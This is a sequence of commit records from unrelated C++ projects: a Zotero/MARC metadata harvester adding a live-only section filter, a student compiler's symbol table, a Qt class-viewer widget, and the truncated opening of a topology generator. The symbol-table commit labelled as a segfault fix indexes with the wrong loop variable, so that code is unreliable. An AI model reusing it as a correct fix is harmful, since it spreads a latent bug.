MARC::FileType::XML:\n        return \"marcxml\";\n    default:\n        LOG_ERROR(\"can't determine output format from MARC output filename \\\"\" + output_filename + \"\\\"!\");\n    }\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc < 2)\n        Usage();\n\n    bool test(false);\n    if (std::strcmp(argv[1], \"--test\") == 0) {\n        test = true;\n        --argc, ++argv;\n    }\n\n    bool ignore_robots_dot_txt(false);\n    if (std::strcmp(argv[1], \"--ignore-robots-dot-txt\") == 0) {\n        ignore_robots_dot_txt = true;\n        --argc, ++argv;\n    }\n\n    std::string map_directory_path;\n    const std::string MAP_DIRECTORY_FLAG_PREFIX(\"--map-directory=\");\n    if (StringUtil::StartsWith(argv[1], MAP_DIRECTORY_FLAG_PREFIX)) {\n        map_directory_path = argv[1] + MAP_DIRECTORY_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    std::string previous_downloads_db_path;\n    const std::string PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX(\"--previous-downloads-db-file=\");\n    if (StringUtil::StartsWith(argv[1], PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX)) {\n        previous_downloads_db_path = argv[1] + PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    std::string output_file;\n    const std::string OUTPUT_FILE_FLAG_PREFIX(\"--output-file=\");\n    if (StringUtil::StartsWith(argv[1], OUTPUT_FILE_FLAG_PREFIX)) {\n        output_file = argv[1] + OUTPUT_FILE_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc < 2)\n        Usage();\n\n    IniFile ini_file(argv[1]);\n\n    std::shared_ptr<Zotero::HarvestParams> harvest_params(new Zotero::HarvestParams);\n    harvest_params->zts_server_url_ = Url(ini_file.getString(\"\", \"zts_server_url\"));\n\n    if (map_directory_path.empty())\n        map_directory_path = ini_file.getString(\"\", \"map_directory_path\");\n    if (previous_downloads_db_path.empty())\n        previous_downloads_db_path = ini_file.getString(\"\", \"previous_downloads_db_path\");\n\n    \/\/ ZoteroFormatHandler expects a directory path with a trailing \/\n    if (not StringUtil::EndsWith(map_directory_path, '\/'))\n        map_directory_path += \"\/\";\n\n    Zotero::AugmentMaps augment_maps(map_directory_path);\n    const std::shared_ptr<RegexMatcher> supported_urls_regex(Zotero::LoadSupportedURLsRegex(map_directory_path));\n\n    std::unique_ptr<DbConnection> db_connection;\n    const IniFile rss_ini_file(DbConnection::DEFAULT_CONFIG_FILE_PATH);\n    db_connection.reset(new DbConnection(rss_ini_file));\n\n    if (output_file.empty())\n        output_file = ini_file.getString(\"\", \"marc_output_file\");\n    harvest_params->format_handler_ = Zotero::FormatHandler::Factory(previous_downloads_db_path, GetMarcFormat(output_file),\n                                                                     output_file, harvest_params);\n\n    SimpleCrawler::Params crawler_params;\n    crawler_params.ignore_robots_dot_txt_ = ignore_robots_dot_txt;\n    crawler_params.min_url_processing_time_ = Zotero::DEFAULT_MIN_URL_PROCESSING_TIME;\n    crawler_params.timeout_ = Zotero::DEFAULT_TIMEOUT;\n\n    std::unordered_map<std::string, bool> section_name_to_found_flag_map;\n    for (int arg_no(2); arg_no < argc; ++arg_no)\n        section_name_to_found_flag_map.emplace(argv[arg_no], false);\n\n    enum Type { RSS, CRAWL, DIRECT };\n    const std::map<std::string, int> string_to_value_map{ {\"RSS\", RSS }, { \"CRAWL\", CRAWL }, { \"DIRECT\", DIRECT } };\n\n    unsigned processed_section_count(0);\n    UnsignedPair total_record_count_and_previously_downloaded_record_count;\n\n    for (const auto &section : ini_file) {\n        if (section.first.empty())\n            continue;       \/\/ don't parse the global parameters section\n\n        std::vector<MARC::EditInstruction> edit_instructions;\n        LoadMARCEditInstructions(section.second, &edit_instructions);\n\n        Zotero::AugmentParams augment_params(&augment_maps, edit_instructions);\n        harvest_params->format_handler_->setAugmentParams(&augment_params);\n\n        if (not section_name_to_found_flag_map.empty()) {\n            const auto section_name_and_found_flag(section_name_to_found_flag_map.find(section.first));\n            if (section_name_and_found_flag == section_name_to_found_flag_map.end())\n                continue;\n            section_name_and_found_flag->second = true;\n        }\n        ++processed_section_count;\n\n        LOG_INFO(\"Processing section \\\"\" + section.first + \"\\\".\");\n        const Type type(static_cast<Type>(section.second.getEnum(\"type\", string_to_value_map)));\n        if (type == RSS)\n            total_record_count_and_previously_downloaded_record_count += ProcessRSSFeed(section.second, harvest_params, &augment_params,\n                                                                                        db_connection.get(), test);\n        else if (type == CRAWL)\n            total_record_count_and_previously_downloaded_record_count +=\n                ProcessCrawl(section.second, harvest_params, &augment_params, crawler_params, supported_urls_regex);\n        else\n            total_record_count_and_previously_downloaded_record_count +=\n                ProcessDirectHarvest(section.second, harvest_params, &augment_params);\n    }\n\n    LOG_INFO(\"Extracted metadata from \"\n             + std::to_string(total_record_count_and_previously_downloaded_record_count.first\n                              - total_record_count_and_previously_downloaded_record_count.second) + \" page(s).\");\n\n    if (section_name_to_found_flag_map.size() > processed_section_count) {\n        std::cerr << \"The following sections were specified but not processed:\\n\";\n        for (const auto &section_name_and_found_flag : section_name_to_found_flag_map)\n            std::cerr << '\\t' << section_name_and_found_flag.first << '\\n';\n    }\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>Added support for tagging sections as \"live\".<commit_after>\/** \\brief Handles crawling as well as RSS feeds.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <iostream>\n#include <memory>\n#include <unordered_map>\n#include <cstdlib>\n#include \"DbConnection.h\"\n#include \"IniFile.h\"\n#include \"MARC.h\"\n#include \"RegexMatcher.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n#include \"Zotero.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << ::progname << \" [options] config_file_path [section1 section2 .. sectionN]\\n\"\n              << \"\\n\"\n              << \"\\tOptions:\\n\"\n              << \"\\t[--verbosity=log_level]        Possible log levels are ERROR, WARNING, INFO, and DEBUG with the default being WARNING.\\n\"\n              << \"\\t[--test]                       No download information will be stored for further downloads.\\n\"\n              << \"\\t[--live-only]                  Only sections that have \\\"live=true\\\" set will be processed.\\n\"\n              << \"\\t[--ignore-robots-dot-txt]\\n\"\n              << \"\\t[--map-directory=map_directory]\\n\"\n              << \"\\t[--previous-downloads-db-file=previous_downloads_db_file]\\n\"\n              << \"\\t[--output-file=output_file]\\n\"\n              << \"\\n\"\n              << \"\\tIf any section names have been provided, only those will be processed o\/w all sections will be processed.\\n\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nvoid LoadMARCEditInstructions(const IniFile::Section &section, std::vector<MARC::EditInstruction> * edit_instructions) {\n    edit_instructions->clear();\n\n    for (const auto &name_and_value : section) {\n        if (StringUtil::StartsWith(name_and_value.first, \"insert_field_\")) {\n            const std::string tag_candidate(name_and_value.first.substr(__builtin_strlen(\"insert_field_\")));\n            if (tag_candidate.length() != MARC::Record::TAG_LENGTH)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateInsertFieldInstruction(tag_candidate, name_and_value.second));\n        } else if (StringUtil::StartsWith(name_and_value.first, \"insert_subfield_\")) {\n            const std::string tag_and_subfield_code_candidate(name_and_value.first.substr(__builtin_strlen(\"insert_subfield_\")));\n            if (tag_and_subfield_code_candidate.length() != MARC::Record::TAG_LENGTH + 1)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateInsertSubfieldInstruction(\n                tag_and_subfield_code_candidate.substr(0, MARC::Record::TAG_LENGTH),\n                tag_and_subfield_code_candidate[MARC::Record::TAG_LENGTH], name_and_value.second));\n        } else if (StringUtil::StartsWith(name_and_value.first, \"add_subfield_\")) {\n            const std::string tag_and_subfield_code_candidate(name_and_value.first.substr(__builtin_strlen(\"add_subfield_\")));\n            if (tag_and_subfield_code_candidate.length() != MARC::Record::TAG_LENGTH + 1)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateAddSubfieldInstruction(\n                tag_and_subfield_code_candidate.substr(0, MARC::Record::TAG_LENGTH),\n                tag_and_subfield_code_candidate[MARC::Record::TAG_LENGTH], name_and_value.second));\n        }\n    }\n}\n\n\nvoid ReadAugmentParamsFromIni(const IniFile::Section &section, Zotero::AugmentParams * const augment_params) {\n    augment_params->override_ISSN_print_ = section.getString(\"issn_print\", \"\");\n    augment_params->override_ISSN_online_ = section.getString(\"issn_online\", \"\");\n    augment_params->strptime_format_ = section.getString(\"strptime_format\", \"\");\n}\n\n\nUnsignedPair ProcessRSSFeed(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                            Zotero::AugmentParams * const augment_params, DbConnection * const db_connection, const bool &test)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n\n    const std::string feed_url(section.getString(\"feed\"));\n    LOG_DEBUG(\"feed_url: \" + feed_url);\n    Zotero::RSSHarvestMode rss_harvest_mode(Zotero::RSSHarvestMode::NORMAL);\n    if (test)\n        rss_harvest_mode = Zotero::RSSHarvestMode::TEST;\n    return Zotero::HarvestSyndicationURL(rss_harvest_mode, feed_url, harvest_params, augment_params, db_connection);\n}\n\n\nvoid InitSiteDescFromIniFileSection(const IniFile::Section &section, SimpleCrawler::SiteDesc * const site_desc) {\n    site_desc->start_url_ = section.getString(\"base_url\");\n    site_desc->max_crawl_depth_ = section.getUnsigned(\"max_crawl_depth\");\n    site_desc->url_regex_matcher_.reset(RegexMatcher::RegexMatcherFactoryOrDie(section.getString(\"extraction_regex\")));\n    site_desc->strptime_format_ = section.getString(\"strptime_format\", \"\");\n}\n\n\nUnsignedPair ProcessCrawl(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                          Zotero::AugmentParams * const augment_params, const SimpleCrawler::Params &crawler_params,\n                          const std::shared_ptr<RegexMatcher> &supported_urls_regex)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n\n    SimpleCrawler::SiteDesc site_desc;\n    InitSiteDescFromIniFileSection(section, &site_desc);\n    return Zotero::HarvestSite(site_desc, crawler_params, supported_urls_regex, harvest_params, augment_params);\n}\n\n\nUnsignedPair ProcessDirectHarvest(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                                  Zotero::AugmentParams * const augment_params)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n    return Zotero::HarvestURL(section.getString(\"url\"), harvest_params, augment_params);\n}\n\n\nstd::string GetMarcFormat(const std::string &output_filename) {\n    switch (MARC::GuessFileType(output_filename)) {\n    case MARC::FileType::BINARY:\n        return \"marc21\";\n    case MARC::FileType::XML:\n        return \"marcxml\";\n    default:\n        LOG_ERROR(\"can't determine output format from MARC output filename \\\"\" + output_filename + \"\\\"!\");\n    }\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc < 2)\n        Usage();\n\n    bool test(false);\n    if (std::strcmp(argv[1], \"--test\") == 0) {\n        test = true;\n        --argc, ++argv;\n    }\n\n    bool live_only(false);\n    if (std::strcmp(argv[1], \"--live-only\") == 0) {\n        live_only = true;\n        --argc, ++argv;\n    }\n\n    bool ignore_robots_dot_txt(false);\n    if (std::strcmp(argv[1], \"--ignore-robots-dot-txt\") == 0) {\n        ignore_robots_dot_txt = true;\n        --argc, ++argv;\n    }\n\n    std::string map_directory_path;\n    const std::string MAP_DIRECTORY_FLAG_PREFIX(\"--map-directory=\");\n    if (StringUtil::StartsWith(argv[1], MAP_DIRECTORY_FLAG_PREFIX)) {\n        map_directory_path = argv[1] + MAP_DIRECTORY_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    std::string previous_downloads_db_path;\n    const std::string PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX(\"--previous-downloads-db-file=\");\n    if (StringUtil::StartsWith(argv[1], PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX)) {\n        previous_downloads_db_path = argv[1] + PREVIOUS_DOWNLOADS_DB_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    std::string output_file;\n    const std::string OUTPUT_FILE_FLAG_PREFIX(\"--output-file=\");\n    if (StringUtil::StartsWith(argv[1], OUTPUT_FILE_FLAG_PREFIX)) {\n        output_file = argv[1] + OUTPUT_FILE_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc < 2)\n        Usage();\n\n    IniFile ini_file(argv[1]);\n\n    std::shared_ptr<Zotero::HarvestParams> harvest_params(new Zotero::HarvestParams);\n    harvest_params->zts_server_url_ = Url(ini_file.getString(\"\", \"zts_server_url\"));\n\n    if (map_directory_path.empty())\n        map_directory_path = ini_file.getString(\"\", \"map_directory_path\");\n    if (previous_downloads_db_path.empty())\n        previous_downloads_db_path = ini_file.getString(\"\", \"previous_downloads_db_path\");\n\n    \/\/ ZoteroFormatHandler expects a directory path with a trailing \/\n    if (not StringUtil::EndsWith(map_directory_path, '\/'))\n        map_directory_path += \"\/\";\n\n    Zotero::AugmentMaps augment_maps(map_directory_path);\n    const std::shared_ptr<RegexMatcher> supported_urls_regex(Zotero::LoadSupportedURLsRegex(map_directory_path));\n\n    std::unique_ptr<DbConnection> db_connection;\n    const IniFile rss_ini_file(DbConnection::DEFAULT_CONFIG_FILE_PATH);\n    db_connection.reset(new DbConnection(rss_ini_file));\n\n    if (output_file.empty())\n        output_file = ini_file.getString(\"\", \"marc_output_file\");\n    harvest_params->format_handler_ = Zotero::FormatHandler::Factory(previous_downloads_db_path, GetMarcFormat(output_file),\n                                                                     output_file, harvest_params);\n\n    SimpleCrawler::Params crawler_params;\n    crawler_params.ignore_robots_dot_txt_ = ignore_robots_dot_txt;\n    crawler_params.min_url_processing_time_ = Zotero::DEFAULT_MIN_URL_PROCESSING_TIME;\n    crawler_params.timeout_ = Zotero::DEFAULT_TIMEOUT;\n\n    std::unordered_map<std::string, bool> section_name_to_found_flag_map;\n    for (int arg_no(2); arg_no < argc; ++arg_no)\n        section_name_to_found_flag_map.emplace(argv[arg_no], false);\n\n    enum Type { RSS, CRAWL, DIRECT };\n    const std::map<std::string, int> string_to_value_map{ {\"RSS\", RSS }, { \"CRAWL\", CRAWL }, { \"DIRECT\", DIRECT } };\n\n    unsigned processed_section_count(0);\n    UnsignedPair total_record_count_and_previously_downloaded_record_count;\n\n    for (const auto &section : ini_file) {\n        if (section.first.empty())\n            continue;       \/\/ don't parse the global parameters section\n\n        if (live_only and section.second.getBool(\"live\", false) != true)\n            continue;\n\n        std::vector<MARC::EditInstruction> edit_instructions;\n        LoadMARCEditInstructions(section.second, &edit_instructions);\n\n        Zotero::AugmentParams augment_params(&augment_maps, edit_instructions);\n        harvest_params->format_handler_->setAugmentParams(&augment_params);\n\n        if (not section_name_to_found_flag_map.empty()) {\n            const auto section_name_and_found_flag(section_name_to_found_flag_map.find(section.first));\n            if (section_name_and_found_flag == section_name_to_found_flag_map.end())\n                continue;\n            section_name_and_found_flag->second = true;\n        }\n        ++processed_section_count;\n\n        LOG_INFO(\"Processing section \\\"\" + section.first + \"\\\".\");\n        const Type type(static_cast<Type>(section.second.getEnum(\"type\", string_to_value_map)));\n        if (type == RSS)\n            total_record_count_and_previously_downloaded_record_count += ProcessRSSFeed(section.second, harvest_params, &augment_params,\n                                                                                        db_connection.get(), test);\n        else if (type == CRAWL)\n            total_record_count_and_previously_downloaded_record_count +=\n                ProcessCrawl(section.second, harvest_params, &augment_params, crawler_params, supported_urls_regex);\n        else\n            total_record_count_and_previously_downloaded_record_count +=\n                ProcessDirectHarvest(section.second, harvest_params, &augment_params);\n    }\n\n    LOG_INFO(\"Extracted metadata from \"\n             + std::to_string(total_record_count_and_previously_downloaded_record_count.first\n                              - total_record_count_and_previously_downloaded_record_count.second) + \" page(s).\");\n\n    if (section_name_to_found_flag_map.size() > processed_section_count) {\n        std::cerr << \"The following sections were specified but not processed:\\n\";\n        for (const auto &section_name_and_found_flag : section_name_to_found_flag_map)\n            std::cerr << '\\t' << section_name_and_found_flag.first << '\\n';\n    }\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* symtable.cc\n * Hash table representing the symbol table.\n * the symbol table.\n * UIdaho CS445 120++ Compiler\n * author: Chris Waltrip <walt2178@vandals.uidaho.edu>\n *\/\n#include <iostream>\n#include <sstream>\n#include <string>\n\n#include \"symtable.hh\"\n#include \"exception.hh\"\n\n\/*\nAbstractSymbol::AbstractSymbol(std::string n, TypenameEntry t) \n\t\t\t: name(n), type(t) { }\n*\/\nAbstractSymbol::AbstractSymbol(std::string n, std::string t)\n\t\t\t: name(n), type(t) { }\nstd::string AbstractSymbol::to_string(std::size_t depth) {\n\tstd::string spaces = std::string(depth, '>');\n\treturn(spaces + this->type + \" \" + this->name);\n}\n\n\/* \n * The only time that SymbolTable's parent will be NULL is the Global Symbol\n * Table.  Given this and the n-ary tree (represented using std::deque),\n * resolving scope should be relatively simple.\n *\/\nSymbolTable::SymbolTable(SymbolTable *p) {\n\tthis->parent = p;\n}\n\n\/*\n * Just a wrapper function for nesting scopes.\n *\/\nvoid SymbolTable::add_sub_table(SymbolTable *k) {\n\tthis->kids.push_back(k);\n}\n\/* \n * This hashing method is identical to the Typename Table hash method.\n *\/\nstd::size_t SymbolTable::hash(std::string name) {\n\tstd::size_t hash = 0;\n\tconst char* s = name.c_str();\n\twhile(*s) {\n\t\thash = hash * 101 + *s++;\n\t}\n\treturn hash % this->HASHTABLE_SIZE;\n}\n\nbool SymbolTable::insert(std::string n, AbstractSymbol *s) {\n\tif(!this->symbol_exists(n)) {\n\t\tstd::size_t h = this->hash(n);\n\t\tthis->bucket[h].push_back(s);\n\t\treturn true;\n\t}\n\tthrow EDuplicateSymbol();\n\treturn false; \/* Remove after refactor *\/\n}\n\nbool SymbolTable::empty() {\n\tfor(std::size_t i = 0; i < this->HASHTABLE_SIZE; ++i) {\n\t\tif(!this->bucket[i].empty())\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\nAbstractSymbol* SymbolTable::get_symbol(std::string name) {\n\tstd::size_t h = this->hash(name);\n\tstd::deque<AbstractSymbol*> b = this->bucket[h];\n\tstd::deque<AbstractSymbol*>::iterator it;\n\tfor(it = b.begin(); it != b.end(); ++it) {\n\t\tstd::size_t i = it - b.begin();\n\t\tif(*(b[i]) == name) {\n\t\t\treturn b[i];\n\t\t}\n\t}\n\tthrow ENoSymbolEntry();\n}\n\n\/*\n * Tries to get the symbol from the current scope.  If get_symbol throws an\n * ENoSymbolEntry, then the current scope doesn't have the symbol that is\n * being search for.  If the parent symbol table is NULL then we have reached\n * the global symbol table and the symbol doesn't exist so throw\n * ENoSymbolEntry again and let the calling function handle the exception. If\n * the symbol is found, it's returned.\n *\/\nAbstractSymbol* SymbolTable::get_scoped_symbol(std::string name) {\n\tAbstractSymbol *symb;\n\ttry {\n\t\tsymb = this->get_symbol(name);\n\t\treturn symb;\n\t} catch(ENoSymbolEntry e) {\n\t\tif(this->parent == NULL) {\n\t\t\tthrow ENoSymbolEntry();\n\t\t} else {\n\t\t\t\/* Will never be NULL because exception is thrown *\/\n\t\t\treturn this->parent->get_scoped_symbol(name);\n\t\t}\n\t}\n}\n\n\/*\n * Will return true if a symbol is found.  If get_symbol throws\n * an ENoSymbolEntry exception, then the symbol isn't in the symbol\n * table.  This only checks for the existance in the local symbol table.\n *\/\nbool SymbolTable::symbol_exists(std::string name) {\n\ttry {\n\t\tthis->get_symbol(name);\n\t} catch(ENoSymbolEntry e) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nvoid SymbolTable::print_table(std::size_t depth) {\n\tstd::clog << this->to_string(depth) << std::endl;\n}\n\nstd::string SymbolTable::to_string(std::size_t depth) {\n\tstd::stringstream ss;\n\tfor(std::size_t i = 0; i < this->HASHTABLE_SIZE; ++i) {\n\t\tstd::deque<AbstractSymbol*> b = this->bucket[i];\n\t\tstd::deque<AbstractSymbol*>::iterator it;\n\t\tfor(it = b.begin(); it != b.end(); ++it) {\n\t\t\tss << (*it)->to_string(depth) << std::endl;\n\t\t}\n\t}\n\treturn ss.str();\n}\n\n\/* Basic Symbol constructor *\/\nBasicSymbol::BasicSymbol(std::string n, std::string t, bool p)\n\t\t\t\t: AbstractSymbol(n,t), pointer(p) { }\n\n\/* Function symbol constructor *\/\nFunctionSymbol::FunctionSymbol(std::string n, std::string t, bool p, bool d)\n\t\t\t\t: AbstractSymbol(n,t), pointer(p),\n\t\t\t\tdef_needed(d) { }\n\nstd::string FunctionSymbol::to_string(std::size_t depth) {\n\tstd::stringstream ss;\n\tss << AbstractSymbol::to_string(depth) << std::endl;\n\tss << this->params.to_string(depth+1) << std::endl;\n\tss << this->locals.to_string(depth+1) << std::endl;\n\treturn ss.str();\n}<commit_msg>Fixing segfault when referencing iterator<commit_after>\/* symtable.cc\n * Hash table representing the symbol table.\n * the symbol table.\n * UIdaho CS445 120++ Compiler\n * author: Chris Waltrip <walt2178@vandals.uidaho.edu>\n *\/\n#include <iostream>\n#include <sstream>\n#include <string>\n\n#include \"symtable.hh\"\n#include \"exception.hh\"\n\n\/*\nAbstractSymbol::AbstractSymbol(std::string n, TypenameEntry t) \n\t\t\t: name(n), type(t) { }\n*\/\nAbstractSymbol::AbstractSymbol(std::string n, std::string t)\n\t\t\t: name(n), type(t) { }\nstd::string AbstractSymbol::to_string(std::size_t depth) {\n\tstd::string spaces = std::string(depth, '>');\n\treturn(spaces + this->type + \" \" + this->name);\n}\n\n\/* \n * The only time that SymbolTable's parent will be NULL is the Global Symbol\n * Table.  Given this and the n-ary tree (represented using std::deque),\n * resolving scope should be relatively simple.\n *\/\nSymbolTable::SymbolTable(SymbolTable *p) {\n\tthis->parent = p;\n}\n\n\/*\n * Just a wrapper function for nesting scopes.\n *\/\nvoid SymbolTable::add_sub_table(SymbolTable *k) {\n\tthis->kids.push_back(k);\n}\n\/* \n * This hashing method is identical to the Typename Table hash method.\n *\/\nstd::size_t SymbolTable::hash(std::string name) {\n\tstd::size_t hash = 0;\n\tconst char* s = name.c_str();\n\twhile(*s) {\n\t\thash = hash * 101 + *s++;\n\t}\n\treturn hash % this->HASHTABLE_SIZE;\n}\n\nbool SymbolTable::insert(std::string n, AbstractSymbol *s) {\n\tif(!this->symbol_exists(n)) {\n\t\tstd::size_t h = this->hash(n);\n\t\tthis->bucket[h].push_back(s);\n\t\treturn true;\n\t}\n\tthrow EDuplicateSymbol();\n\treturn false; \/* Remove after refactor *\/\n}\n\nbool SymbolTable::empty() {\n\tfor(std::size_t i = 0; i < this->HASHTABLE_SIZE; ++i) {\n\t\tif(!this->bucket[i].empty())\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\nAbstractSymbol* SymbolTable::get_symbol(std::string name) {\n\tstd::size_t h = this->hash(name);\n\tstd::deque<AbstractSymbol*> b = this->bucket[h];\n\tstd::deque<AbstractSymbol*>::iterator it;\n\tfor(it = b.begin(); it != b.end(); ++it) {\n\t\tstd::size_t i = it - b.begin();\n\t\tif(*(b[i]) == name) {\n\t\t\treturn b[i];\n\t\t}\n\t}\n\tthrow ENoSymbolEntry();\n}\n\n\/*\n * Tries to get the symbol from the current scope.  If get_symbol throws an\n * ENoSymbolEntry, then the current scope doesn't have the symbol that is\n * being search for.  If the parent symbol table is NULL then we have reached\n * the global symbol table and the symbol doesn't exist so throw\n * ENoSymbolEntry again and let the calling function handle the exception. If\n * the symbol is found, it's returned.\n *\/\nAbstractSymbol* SymbolTable::get_scoped_symbol(std::string name) {\n\tAbstractSymbol *symb;\n\ttry {\n\t\tsymb = this->get_symbol(name);\n\t\treturn symb;\n\t} catch(ENoSymbolEntry e) {\n\t\tif(this->parent == NULL) {\n\t\t\tthrow ENoSymbolEntry();\n\t\t} else {\n\t\t\t\/* Will never be NULL because exception is thrown *\/\n\t\t\treturn this->parent->get_scoped_symbol(name);\n\t\t}\n\t}\n}\n\n\/*\n * Will return true if a symbol is found.  If get_symbol throws\n * an ENoSymbolEntry exception, then the symbol isn't in the symbol\n * table.  This only checks for the existance in the local symbol table.\n *\/\nbool SymbolTable::symbol_exists(std::string name) {\n\ttry {\n\t\tthis->get_symbol(name);\n\t} catch(ENoSymbolEntry e) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nvoid SymbolTable::print_table(std::size_t depth) {\n\tstd::clog << this->to_string(depth) << std::endl;\n}\n\nstd::string SymbolTable::to_string(std::size_t depth) {\n\tstd::stringstream ss;\n\tfor(std::size_t i = 0; i < this->HASHTABLE_SIZE; ++i) {\n\t\tstd::deque<AbstractSymbol*> b = this->bucket[i];\n\t\tstd::deque<AbstractSymbol*>::iterator it;\n\t\tfor(it = b.begin(); it != b.end(); ++it) {\\\n\t\t\tstd::size_t index = it - b.begin();\n\t\t\tss << (*(b[i]))->to_string(depth) << std::endl;\n\t\t\t\/\/ss << (*it)->to_string(depth) << std::endl;\n\t\t}\n\t}\n\treturn ss.str();\n}\n\n\/* Basic Symbol constructor *\/\nBasicSymbol::BasicSymbol(std::string n, std::string t, bool p)\n\t\t\t\t: AbstractSymbol(n,t), pointer(p) { }\n\n\/* Function symbol constructor *\/\nFunctionSymbol::FunctionSymbol(std::string n, std::string t, bool p, bool d)\n\t\t\t\t: AbstractSymbol(n,t), pointer(p),\n\t\t\t\tdef_needed(d) { }\n\nstd::string FunctionSymbol::to_string(std::size_t depth) {\n\tstd::stringstream ss;\n\tss << AbstractSymbol::to_string(depth) << std::endl;\n\tss << this->params.to_string(depth+1) << std::endl;\n\tss << this->locals.to_string(depth+1) << std::endl;\n\treturn ss.str();\n}<|endoftext|>"}
{"text":"<commit_before>#include \"cqts_classviewer.h\"\n#include <QLabel>\n#include <QComboBox>\n\nCQTs_ClassViewer::CQTs_ClassViewer(QWidget *parent) :\n    QGroupBox(tr(\"Class Viewer\"),parent)\n{\n    QLabel Sel(tr(\"Class:\"));\n    QComboBox ComboSel();\n\n}\n<commit_msg>Interface for classviewer done<commit_after>#include \"cqts_classviewer.h\"\n#include <QLabel>\n#include <QComboBox>\n#include <QGridLayout>\nCQTs_ClassViewer::CQTs_ClassViewer(QWidget *parent) :\n    QGroupBox(tr(\"Class Viewer\"),parent)\n{\n    QGridLayout *grid = new QGridLayout();\n\n    QLabel *Tlab = new QLabel(tr(\"Class:\"));\n    grid->addWidget(Tlab,0,0);\n\n    Tlab = new QLabel(tr(\"Base Attack bonus:\"));\n    grid->addWidget(Tlab,1,0);\n\n    QGroupBox *SavesBox= new QGroupBox(tr(\"Saves:\"));\n    grid->addWidget(SavesBox,2,0,1,2);\n    QGridLayout *grid2 = new QGridLayout();\n    Tlab = new QLabel(tr(\"Fortitude:\"));\n    grid2->addWidget(Tlab,0,0);\n    Tlab = new QLabel(tr(\"Reflexes\"));\n    grid2->addWidget(Tlab,1,0);\n    Tlab = new QLabel(tr(\"Will:\"));\n    grid2->addWidget(Tlab,2,0);\n    SavesBox->setLayout(grid2);\n\n    QComboBox *ComboSel = new QComboBox();\n    grid->addWidget(ComboSel,0,1);\n\n    setLayout(grid);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>add TDPC_D<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Generates a series of topologies from a set of locations. Each of\n\/\/ the topologies will have a progressively higher level of connectivity,\n\/\/ starting from no connectivity and ending at a full clique. Each link will\n\/\/ have a delay set up to be the speed of light in fiber.\n\n#include <gflags\/gflags.h>\n#include <stddef.h>\n#include <stdint.h>\n#include <algorithm>\n#include <chrono>\n#include <limits>\n#include <map>\n#include <memory>\n#include <set>\n#include <string>\n#include <tuple>\n#include <utility>\n#include <vector>\n\n#include \"ncode_common\/src\/common.h\"\n#include \"ncode_common\/src\/file.h\"\n#include \"ncode_common\/src\/logging.h\"\n#include \"ncode_common\/src\/lp\/demand_matrix.h\"\n#include \"ncode_common\/src\/map_util.h\"\n#include \"ncode_common\/src\/net\/net_common.h\"\n#include \"ncode_common\/src\/net\/net_gen.h\"\n#include \"ncode_common\/src\/strutil.h\"\n#include \"ncode_common\/src\/thread_runner.h\"\n#include \"ncode_common\/src\/viz\/web_page.h\"\n#include \"common.h\"\n#include \"geo\/geo.h\"\n#include \"metrics\/metrics.h\"\n#include \"opt\/ctr.h\"\n#include \"opt\/opt.h\"\n#include \"opt\/path_provider.h\"\n\nDEFINE_string(cities_file, \"cities5000.txt\", \"Location of the cities file\");\nDEFINE_string(topology_file, \"\", \"Topology file\");\nDEFINE_string(tm_file, \"\", \"Traffic matrix file\");\nDEFINE_double(link_capacity_scale, 1.0, \"By how much to scale all links\");\nDEFINE_double(delay_scale, 1.0, \"By how much to scale the delays of all links\");\nDEFINE_double(\n    light_speed, 200.0,\n    \"Speed of light (in km per millisecond), default is speed in 